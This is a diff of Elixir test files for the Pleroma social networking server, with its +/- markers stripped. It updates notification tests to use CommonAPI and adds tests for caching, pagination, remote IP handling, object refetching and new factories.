{:ok, _, _, activity} = CommonAPI.follow(user, followed_user)
Notification.create_notification(activity, followed_user)
TwitterAPI.unfollow(user, %{"user_id" => followed_user.id})
{:ok, _, _, activity_dupe} = TwitterAPI.follow(user, %{"user_id" => followed_user.id})
CommonAPI.unfollow(user, followed_user)
{:ok, _, _, activity_dupe} = CommonAPI.follow(user, followed_user)
refute Notification.create_notification(activity_dupe, followed_user)
end
test "it doesn't create a notification for like-unlike-like chains" do
user = insert(:user)
liked_user = insert(:user)
{:ok, status} = TwitterAPI.create_status(liked_user, %{"status" => "Yui is best yuru"})
{:ok, fav_status} = TwitterAPI.fav(user, status.id)
Notification.create_notification(fav_status, liked_user)
TwitterAPI.unfav(user, status.id)
{:ok, dupe} = TwitterAPI.fav(user, status.id)
refute Notification.create_notification(dupe, liked_user)
end
test "it doesn't create a notification for repeat-unrepeat-repeat chains" do
user = insert(:user)
retweeted_user = insert(:user)
{:ok, status} =
TwitterAPI.create_status(retweeted_user, %{
"status" => "Send dupe notifications to the shadow realm"
})
{:ok, retweeted_activity} = TwitterAPI.repeat(user, status.id)
Notification.create_notification(retweeted_activity, retweeted_user)
TwitterAPI.unrepeat(user, status.id)
{:ok, dupe} = TwitterAPI.repeat(user, status.id)
refute Notification.create_notification(dupe, retweeted_user)
end
test "it doesn't create duplicate notifications for follow+subscribed users" do
user = insert(:user)
subscriber = insert(:user)
{:ok, _, _, _} = TwitterAPI.follow(subscriber, %{"user_id" => user.id})
{:ok, _, _, _} = CommonAPI.follow(subscriber, user)
User.subscribe(subscriber, user)
{:ok, status} = TwitterAPI.create_status(user, %{"status" => "Akariiiin"})
{:ok, status} = CommonAPI.post(user, %{"status" => "Akariiiin"})
{:ok, [_notif]} = Notification.create_notifications(status)
end
@ -234,8 +198,7 @@ defmodule Pleroma.NotificationTest do
User.subscribe(subscriber, user)
{:ok, status} =
TwitterAPI.create_status(user, %{"status" => "inwisible", "visibility" => "direct"})
{:ok, status} = CommonAPI.post(user, %{"status" => "inwisible", "visibility" => "direct"})
assert {:ok, []} == Notification.create_notifications(status)
end
@ -246,8 +209,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
{:ok, notification} = Notification.get(other_user, notification.id)
@ -259,8 +221,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
{:error, _notification} = Notification.get(user, notification.id)
@ -272,8 +233,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
{:ok, notification} = Notification.dismiss(other_user, notification.id)
@ -285,8 +245,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "hey @#{other_user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
{:error, _notification} = Notification.dismiss(user, notification.id)
@ -300,14 +259,14 @@ defmodule Pleroma.NotificationTest do
third_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(user, %{
CommonAPI.post(user, %{
"status" => "hey @#{other_user.nickname} and @#{third_user.nickname} !"
})
{:ok, _notifs} = Notification.create_notifications(activity)
{:ok, activity} =
TwitterAPI.create_status(user, %{
CommonAPI.post(user, %{
"status" => "hey again @#{other_user.nickname} and @#{third_user.nickname} !"
})
@ -325,12 +284,12 @@ defmodule Pleroma.NotificationTest do
other_user = insert(:user)
{:ok, _activity} =
TwitterAPI.create_status(user, %{
CommonAPI.post(user, %{
"status" => "hey @#{other_user.nickname}!"
})
{:ok, _activity} =
TwitterAPI.create_status(user, %{
CommonAPI.post(user, %{
"status" => "hey again @#{other_user.nickname}!"
})
@ -340,7 +299,7 @@ defmodule Pleroma.NotificationTest do
assert n2.id > n1.id
{:ok, _activity} =
TwitterAPI.create_status(user, %{
CommonAPI.post(user, %{
"status" => "hey yet again @#{other_user.nickname}!"
})
@ -621,7 +580,8 @@ defmodule Pleroma.NotificationTest do
refute Enum.empty?(Notification.for_user(other_user))
User.delete(user)
{:ok, job} = User.delete(user)
ObanHelpers.perform(job)
assert Enum.empty?(Notification.for_user(other_user))
end
@ -666,6 +626,7 @@ defmodule Pleroma.NotificationTest do
}
{:ok, _delete_activity} = Transmogrifier.handle_incoming(delete_user_message)
ObanHelpers.perform_all()
assert Enum.empty?(Notification.for_user(local_user))
end
@ -677,7 +638,7 @@ defmodule Pleroma.NotificationTest do
muted = insert(:user)
{:ok, user} = User.mute(user, muted, false)
{:ok, _activity} = TwitterAPI.create_status(muted, %{"status" => "hey @#{user.nickname}"})
{:ok, _activity} = CommonAPI.post(muted, %{"status" => "hey @#{user.nickname}"})
assert length(Notification.for_user(user)) == 1
end
@ -687,7 +648,7 @@ defmodule Pleroma.NotificationTest do
muted = insert(:user)
{:ok, user} = User.mute(user, muted)
{:ok, _activity} = TwitterAPI.create_status(muted, %{"status" => "hey @#{user.nickname}"})
{:ok, _activity} = CommonAPI.post(muted, %{"status" => "hey @#{user.nickname}"})
assert Notification.for_user(user) == []
end
@ -697,7 +658,7 @@ defmodule Pleroma.NotificationTest do
blocked = insert(:user)
{:ok, user} = User.block(user, blocked)
{:ok, _activity} = TwitterAPI.create_status(blocked, %{"status" => "hey @#{user.nickname}"})
{:ok, _activity} = CommonAPI.post(blocked, %{"status" => "hey @#{user.nickname}"})
assert Notification.for_user(user) == []
end
@ -707,7 +668,7 @@ defmodule Pleroma.NotificationTest do
blocked = insert(:user, ap_id: "http://some-domain.com")
{:ok, user} = User.block_domain(user, "some-domain.com")
{:ok, _activity} = TwitterAPI.create_status(blocked, %{"status" => "hey @#{user.nickname}"})
{:ok, _activity} = CommonAPI.post(blocked, %{"status" => "hey @#{user.nickname}"})
assert Notification.for_user(user) == []
end
@ -716,8 +677,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
another_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(another_user, %{"status" => "hey @#{user.nickname}"})
{:ok, activity} = CommonAPI.post(another_user, %{"status" => "hey @#{user.nickname}"})
{:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"])
assert Notification.for_user(user) == []
@ -728,7 +688,7 @@ defmodule Pleroma.NotificationTest do
muted = insert(:user)
{:ok, user} = User.mute(user, muted)
{:ok, _activity} = TwitterAPI.create_status(muted, %{"status" => "hey @#{user.nickname}"})
{:ok, _activity} = CommonAPI.post(muted, %{"status" => "hey @#{user.nickname}"})
assert length(Notification.for_user(user, %{with_muted: true})) == 1
end
@ -738,7 +698,7 @@ defmodule Pleroma.NotificationTest do
blocked = insert(:user)
{:ok, user} = User.block(user, blocked)
{:ok, _activity} = TwitterAPI.create_status(blocked, %{"status" => "hey @#{user.nickname}"})
{:ok, _activity} = CommonAPI.post(blocked, %{"status" => "hey @#{user.nickname}"})
assert length(Notification.for_user(user, %{with_muted: true})) == 1
end
@ -748,7 +708,7 @@ defmodule Pleroma.NotificationTest do
blocked = insert(:user, ap_id: "http://some-domain.com")
{:ok, user} = User.block_domain(user, "some-domain.com")
{:ok, _activity} = TwitterAPI.create_status(blocked, %{"status" => "hey @#{user.nickname}"})
{:ok, _activity} = CommonAPI.post(blocked, %{"status" => "hey @#{user.nickname}"})
assert length(Notification.for_user(user, %{with_muted: true})) == 1
end
@ -757,8 +717,7 @@ defmodule Pleroma.NotificationTest do
user = insert(:user)
another_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(another_user, %{"status" => "hey @#{user.nickname}"})
{:ok, activity} = CommonAPI.post(another_user, %{"status" => "hey @#{user.nickname}"})
{:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"])
assert length(Notification.for_user(user, %{with_muted: true})) == 1

View file

@ -1,13 +1,16 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ObjectTest do
use Pleroma.DataCase
import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
alias Pleroma.Activity
alias Pleroma.Object
alias Pleroma.Repo
alias Pleroma.Web.CommonAPI
setup do
mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
@ -53,9 +56,12 @@ defmodule Pleroma.ObjectTest do
assert object == cached_object
Cachex.put(:web_resp_cache, URI.parse(object.data["id"]).path, "cofe")
Object.delete(cached_object)
{:ok, nil} = Cachex.get(:object_cache, "object:#{object.data["id"]}")
{:ok, nil} = Cachex.get(:web_resp_cache, URI.parse(object.data["id"]).path)
cached_object = Object.get_cached_by_ap_id(object.data["id"])
@ -86,4 +92,110 @@ defmodule Pleroma.ObjectTest do
)
end
end
describe "get_by_id_and_maybe_refetch" do
setup do
mock(fn
%{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
%Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
env ->
apply(HttpRequestMock, :request, [env])
end)
mock_modified = fn resp ->
mock(fn
%{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
resp
env ->
apply(HttpRequestMock, :request, [env])
end)
end
on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end)
[mock_modified: mock_modified]
end
test "refetches if the time since the last refetch is greater than the interval", %{
mock_modified: mock_modified
} do
%Object{} =
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
mock_modified.(%Tesla.Env{
status: 200,
body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
})
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
end
test "returns the old object if refetch fails", %{mock_modified: mock_modified} do
%Object{} =
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
assert capture_log(fn ->
mock_modified.(%Tesla.Env{status: 404, body: ""})
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
end) =~
"[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"
end
test "does not refetch if the time since the last refetch is greater than the interval", %{
mock_modified: mock_modified
} do
%Object{} =
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
mock_modified.(%Tesla.Env{
status: 200,
body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
})
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100)
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
end
test "preserves internal fields on refetch", %{mock_modified: mock_modified} do
%Object{} =
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
user = insert(:user)
activity = Activity.get_create_by_object_ap_id(object.data["id"])
{:ok, _activity, object} = CommonAPI.favorite(activity.id, user)
assert object.data["like_count"] == 1
mock_modified.(%Tesla.Env{
status: 200,
body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
})
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
assert updated_object.data["like_count"] == 1
end
end
end

78
test/pagination_test.exs Normal file
View file

@ -0,0 +1,78 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.PaginationTest do
use Pleroma.DataCase
import Pleroma.Factory
alias Pleroma.Object
alias Pleroma.Pagination
describe "keyset" do
setup do
notes = insert_list(5, :note)
%{notes: notes}
end
test "paginates by min_id", %{notes: notes} do
id = Enum.at(notes, 2).id |> Integer.to_string()
%{total: total, items: paginated} =
Pagination.fetch_paginated(Object, %{"min_id" => id, "total" => true})
assert length(paginated) == 2
assert total == 5
end
test "paginates by since_id", %{notes: notes} do
id = Enum.at(notes, 2).id |> Integer.to_string()
%{total: total, items: paginated} =
Pagination.fetch_paginated(Object, %{"since_id" => id, "total" => true})
assert length(paginated) == 2
assert total == 5
end
test "paginates by max_id", %{notes: notes} do
id = Enum.at(notes, 1).id |> Integer.to_string()
%{total: total, items: paginated} =
Pagination.fetch_paginated(Object, %{"max_id" => id, "total" => true})
assert length(paginated) == 1
assert total == 5
end
test "paginates by min_id & limit", %{notes: notes} do
id = Enum.at(notes, 2).id |> Integer.to_string()
paginated = Pagination.fetch_paginated(Object, %{"min_id" => id, "limit" => 1})
assert length(paginated) == 1
end
end
describe "offset" do
setup do
notes = insert_list(5, :note)
%{notes: notes}
end
test "paginates by limit" do
paginated = Pagination.fetch_paginated(Object, %{"limit" => 2}, :offset)
assert length(paginated) == 2
end
test "paginates by limit & offset" do
paginated = Pagination.fetch_paginated(Object, %{"limit" => 2, "offset" => 4}, :offset)
assert length(paginated) == 1
end
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.AuthenticationPlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.CacheControlTest do

186
test/plugs/cache_test.exs Normal file
View file

@ -0,0 +1,186 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.CacheTest do
use ExUnit.Case, async: true
use Plug.Test
alias Pleroma.Plugs.Cache
@miss_resp {200,
[
{"cache-control", "max-age=0, private, must-revalidate"},
{"content-type", "cofe/hot; charset=utf-8"},
{"x-cache", "MISS from Pleroma"}
], "cofe"}
@hit_resp {200,
[
{"cache-control", "max-age=0, private, must-revalidate"},
{"content-type", "cofe/hot; charset=utf-8"},
{"x-cache", "HIT from Pleroma"}
], "cofe"}
@ttl 5
setup do
Cachex.clear(:web_resp_cache)
:ok
end
test "caches a response" do
assert @miss_resp ==
conn(:get, "/")
|> Cache.call(%{query_params: false, ttl: nil})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
assert_raise(Plug.Conn.AlreadySentError, fn ->
conn(:get, "/")
|> Cache.call(%{query_params: false, ttl: nil})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
end)
assert @hit_resp ==
conn(:get, "/")
|> Cache.call(%{query_params: false, ttl: nil})
|> sent_resp()
end
test "ttl is set" do
assert @miss_resp ==
conn(:get, "/")
|> Cache.call(%{query_params: false, ttl: @ttl})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
assert @hit_resp ==
conn(:get, "/")
|> Cache.call(%{query_params: false, ttl: @ttl})
|> sent_resp()
:timer.sleep(@ttl + 1)
assert @miss_resp ==
conn(:get, "/")
|> Cache.call(%{query_params: false, ttl: @ttl})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
end
test "set ttl via conn.assigns" do
assert @miss_resp ==
conn(:get, "/")
|> Cache.call(%{query_params: false, ttl: nil})
|> put_resp_content_type("cofe/hot")
|> assign(:cache_ttl, @ttl)
|> send_resp(:ok, "cofe")
|> sent_resp()
assert @hit_resp ==
conn(:get, "/")
|> Cache.call(%{query_params: false, ttl: nil})
|> sent_resp()
:timer.sleep(@ttl + 1)
assert @miss_resp ==
conn(:get, "/")
|> Cache.call(%{query_params: false, ttl: nil})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
end
test "ignore query string when `query_params` is false" do
assert @miss_resp ==
conn(:get, "/?cofe")
|> Cache.call(%{query_params: false, ttl: nil})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
assert @hit_resp ==
conn(:get, "/?cofefe")
|> Cache.call(%{query_params: false, ttl: nil})
|> sent_resp()
end
test "take query string into account when `query_params` is true" do
assert @miss_resp ==
conn(:get, "/?cofe")
|> Cache.call(%{query_params: true, ttl: nil})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
assert @miss_resp ==
conn(:get, "/?cofefe")
|> Cache.call(%{query_params: true, ttl: nil})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
end
test "take specific query params into account when `query_params` is list" do
assert @miss_resp ==
conn(:get, "/?a=1&b=2&c=3&foo=bar")
|> fetch_query_params()
|> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
assert @hit_resp ==
conn(:get, "/?bar=foo&c=3&b=2&a=1")
|> fetch_query_params()
|> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil})
|> sent_resp()
assert @miss_resp ==
conn(:get, "/?bar=foo&c=3&b=2&a=2")
|> fetch_query_params()
|> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
end
test "ignore not GET requests" do
expected =
{200,
[
{"cache-control", "max-age=0, private, must-revalidate"},
{"content-type", "cofe/hot; charset=utf-8"}
], "cofe"}
assert expected ==
conn(:post, "/")
|> Cache.call(%{query_params: true, ttl: nil})
|> put_resp_content_type("cofe/hot")
|> send_resp(:ok, "cofe")
|> sent_resp()
end
test "ignore non-successful responses" do
expected =
{418,
[
{"cache-control", "max-age=0, private, must-revalidate"},
{"content-type", "tea/iced; charset=utf-8"}
], "🥤"}
assert expected ==
conn(:get, "/cofe")
|> Cache.call(%{query_params: true, ttl: nil})
|> put_resp_content_type("tea/iced")
|> send_resp(:im_a_teapot, "🥤")
|> sent_resp()
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.RuntimeStaticPlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.OAuthPlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.OAuthScopesPlugTest do

View file

@ -0,0 +1,72 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.RemoteIpTest do
use ExUnit.Case, async: true
use Plug.Test
alias Pleroma.Plugs.RemoteIp
test "disabled" do
Pleroma.Config.put(RemoteIp, enabled: false)
%{remote_ip: remote_ip} = conn(:get, "/")
conn =
conn(:get, "/")
|> put_req_header("x-forwarded-for", "1.1.1.1")
|> RemoteIp.call(nil)
assert conn.remote_ip == remote_ip
end
test "enabled" do
Pleroma.Config.put(RemoteIp, enabled: true)
conn =
conn(:get, "/")
|> put_req_header("x-forwarded-for", "1.1.1.1")
|> RemoteIp.call(nil)
assert conn.remote_ip == {1, 1, 1, 1}
end
test "custom headers" do
Pleroma.Config.put(RemoteIp, enabled: true, headers: ["cf-connecting-ip"])
conn =
conn(:get, "/")
|> put_req_header("x-forwarded-for", "1.1.1.1")
|> RemoteIp.call(nil)
refute conn.remote_ip == {1, 1, 1, 1}
conn =
conn(:get, "/")
|> put_req_header("cf-connecting-ip", "1.1.1.1")
|> RemoteIp.call(nil)
assert conn.remote_ip == {1, 1, 1, 1}
end
test "custom proxies" do
Pleroma.Config.put(RemoteIp, enabled: true)
conn =
conn(:get, "/")
|> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2")
|> RemoteIp.call(nil)
refute conn.remote_ip == {1, 1, 1, 1}
Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.0/20"])
conn =
conn(:get, "/")
|> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2")
|> RemoteIp.call(nil)
assert conn.remote_ip == {1, 1, 1, 1}
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.SetFormatPlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.SetLocalePlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.UploadedMediaPlugTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ScheduledActivityTest do

View file

@ -8,6 +8,7 @@ defmodule Pleroma.SignatureTest do
import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
import Mock
alias Pleroma.Signature
@ -114,4 +115,17 @@ defmodule Pleroma.SignatureTest do
"https://example.com/users/1234"
end
end
describe "signed_date" do
test "it returns formatted current date" do
with_mock(NaiveDateTime, utc_now: fn -> ~N[2019-08-23 18:11:24.822233] end) do
assert Signature.signed_date() == "Fri, 23 Aug 2019 18:11:24 GMT"
end
end
test "it returns formatted date" do
assert Signature.signed_date(~N[2019-08-23 08:11:24.822233]) ==
"Fri, 23 Aug 2019 08:11:24 GMT"
end
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Captcha.Mock do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ConnCase do
@ -40,6 +40,10 @@ defmodule Pleroma.Web.ConnCase do
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
end
if tags[:needs_streamer] do
start_supervised(Pleroma.Web.Streamer.supervisor())
end
{:ok, conn: Phoenix.ConnTest.build_conn()}
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.DataCase do
@ -39,6 +39,10 @@ defmodule Pleroma.DataCase do
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
end
if tags[:needs_streamer] do
start_supervised(Pleroma.Web.Streamer.supervisor())
end
:ok
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Factory do
@ -71,6 +71,47 @@ defmodule Pleroma.Factory do
}
end
def audio_factory(attrs \\ %{}) do
text = sequence(:text, &"lain radio episode #{&1}")
user = attrs[:user] || insert(:user)
data = %{
"type" => "Audio",
"id" => Pleroma.Web.ActivityPub.Utils.generate_object_id(),
"artist" => "lain",
"title" => text,
"album" => "lain radio",
"to" => ["https://www.w3.org/ns/activitystreams#Public"],
"published" => DateTime.utc_now() |> DateTime.to_iso8601(),
"actor" => user.ap_id,
"length" => 180_000
}
%Pleroma.Object{
data: merge_attributes(data, Map.get(attrs, :data, %{}))
}
end
def listen_factory do
audio = insert(:audio)
data = %{
"id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
"type" => "Listen",
"actor" => audio.data["actor"],
"to" => audio.data["to"],
"object" => audio.data,
"published" => audio.data["published"]
}
%Pleroma.Activity{
data: data,
actor: data["actor"],
recipients: data["to"]
}
end
def direct_note_factory do
user2 = insert(:user)
@ -143,6 +184,25 @@ defmodule Pleroma.Factory do
|> Map.merge(attrs)
end
defp expiration_offset_by_minutes(attrs, minutes) do
scheduled_at =
NaiveDateTime.utc_now()
|> NaiveDateTime.add(:timer.minutes(minutes), :millisecond)
|> NaiveDateTime.truncate(:second)
%Pleroma.ActivityExpiration{}
|> Map.merge(attrs)
|> Map.put(:scheduled_at, scheduled_at)
end
def expiration_in_the_past_factory(attrs \\ %{}) do
expiration_offset_by_minutes(attrs, -60)
end
def expiration_in_the_future_factory(attrs \\ %{}) do
expiration_offset_by_minutes(attrs, 61)
end
def article_activity_factory do
article = insert(:article)
@ -188,13 +248,15 @@ defmodule Pleroma.Factory do
object = Object.normalize(note_activity)
user = insert(:user)
data = %{
"id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
"actor" => user.ap_id,
"type" => "Like",
"object" => object.data["id"],
"published_at" => DateTime.utc_now() |> DateTime.to_iso8601()
}
data =
%{
"id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
"actor" => user.ap_id,
"type" => "Like",
"object" => object.data["id"],
"published_at" => DateTime.utc_now() |> DateTime.to_iso8601()
}
